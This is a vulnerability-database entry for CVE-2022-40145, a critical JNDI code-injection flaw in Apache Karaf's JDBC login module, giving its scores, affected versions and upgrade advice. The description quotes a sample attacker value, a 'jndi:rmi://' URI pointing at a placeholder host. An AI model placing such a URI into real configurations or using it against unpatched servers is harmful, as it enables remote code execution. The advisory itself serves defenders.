9.8

CVE-2022-40145: apache software foundation apache karaf Improper Input Validation

CVSS: 9.8v3.1CriticalModified
AliasesGHSA-c2p4-8mvv-rwmv
Published 21-12-2022Last modified 15-04-2025

Vulnerability summary

CVE-2022-40145 is a critical (CVSS 9.8) Improper Input Validation vulnerability in apache software foundation apache karaf. EPSS estimates a 2.50% chance of exploitation in the next 30 days, higher than 84.4% of scored vulnerabilities.

Overall risk
70/100
0100
High · default modelHow is this calculated?
CVSS score
9.8/10
010
Critical · v3.1 (CVE.org)
EPSS score
2.50%
0%100%
Low · +0.10 pp in 30 days
KEVNot listedIn no KEV catalog
RansomwareNone recordedNo known use recorded
Public exploits0No public exploits recorded

Timeline

  1. 21-12-2022
    PublishedVulnerability first disclosed.
  2. 15-04-2025
    Last modifiedVulnerability information updated.

Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

CVSS metrics

3 scores · 3 sources · 1 version

EPSS trend

Probability

2.50%

Chance of exploitation in the next 30 days

Percentile

84%

Versus all other CVEs

30-day change

+0.10 pp

From 2.40% on 18-09-2026

18-09-202618-10-2026
EPSS score
2.50%

Known exploited

Compare KEV catalogs

Not in any of the 3 tracked catalogs.

Public exploits

0 found

No public exploits indexed.

Weaknesses

CWE · root cause

Affected systems

Apache1 product
  • karaf< 4.3.8 | ≥ 4.4.0, < 4.4.2
Apache software foundation1 product
Org.apache.karaf1 product
  • apache-karaf< 4.3.8 | ≥ 4.4.0, < 4.4.2

3 vendors · 3 products

References

7 links